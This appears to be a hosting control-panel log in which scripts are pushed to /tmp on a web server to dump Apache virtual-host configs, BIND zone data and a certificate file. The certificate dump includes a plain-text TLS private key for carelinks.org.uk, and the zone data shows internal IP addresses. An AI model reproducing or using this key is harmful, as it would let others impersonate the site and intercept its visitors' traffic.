port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:46:
PUT: /tmp/pkp266261
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:46:
chmod 755 /tmp/pkp266261; /tmp/pkp266261; rm /tmp/pkp266261
2025-12-31 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 1403
<VirtualHost *:80>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 36
SetEnv pkp_owner carelinksuk
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org.uk
ServerAlias www.carelinks.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
DocumentRoot /var/www/carelinks-uk_www
<Directory /var/www/carelinks-uk_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:46:
PUT: /tmp/pkp170745
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:46:
chmod 755 /tmp/pkp170745; /tmp/pkp170745; rm /tmp/pkp170745
2025-12-31 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt 5393
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-31 06:00:46: Establishing a connection
2025-12-31 06:00:47: Establishing a connection
2025-12-31 06:00:48:
PUT: /tmp/pkp751421
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:49:
chmod 755 /tmp/pkp751421; /tmp/pkp751421; rm /tmp/pkp751421
2025-12-31 06:00:50:
0
2025-12-31 06:00:50: Establishing a connection
2025-12-31 06:00:51: Establishing a connection
2025-12-31 06:00:52:
PUT: /tmp/pkp927789
#!/bin/bash
if [ -d "/var/www/pjy_home/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:53:
chmod 755 /tmp/pkp927789; /tmp/pkp927789; rm /tmp/pkp927789
2025-12-31 06:00:53:
0
2025-12-31 06:00:53: Establishing a connection
2025-12-31 06:00:54: Establishing a connection
2025-12-31 06:00:54:
PUT: /tmp/pkp627310
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 06:00:54:
runuser -l bind -s /bin/bash -c '/tmp/pkp627310; rm /tmp/pkp627310'
2025-12-31 06:00:54:
2025-12-31 06:00:54:
PUT: /tmp/pkp683760
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:54:
chmod 755 /tmp/pkp683760; /tmp/pkp683760; rm /tmp/pkp683760
2025-12-31 06:00:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt 2154
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
pjy.us. IN SOA pjy.us. hostmaster.pjy.us. ( 133432161 14400 3600 14400 3600 )
pjy.us. IN NS ns1.hostz.org.
pjy.us. IN NS ns2.hostz.org.
pjy.us. 60 IN A 94.177.8.99
@ IN MX 10 mail.emessage.email.
@ IN TXT "google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge 60 IN TXT "t0GD64TbIMvmlrqrPEvFBesTOk314YIjmyLbgEAEnQQ"
_acme-challenge 60 IN TXT "Dl5rCYrykMwRx_7Hed_5gHvjZZser_qcTBZcpwCY6ro"
mail._domainkey 300 IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive IN CNAME home.stoughton.link.
city 300 IN A 10.140.12.86
_acme-challenge.city 60 IN TXT "UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop IN A 192.168.1.174
_acme-challenge.desktop 60 IN TXT "l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm IN A 46.102.156.201
eggshell IN A 94.177.8.99
y4it37yvzcuq.eggshell 60 IN CNAME gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files IN A 74.208.130.81
home IN CNAME home.stoughton.link.
_acme-challenge.home 60 IN TXT "1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql IN CNAME home.stoughton.link.
pkp IN A 94.177.8.99
www.pjy.us. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
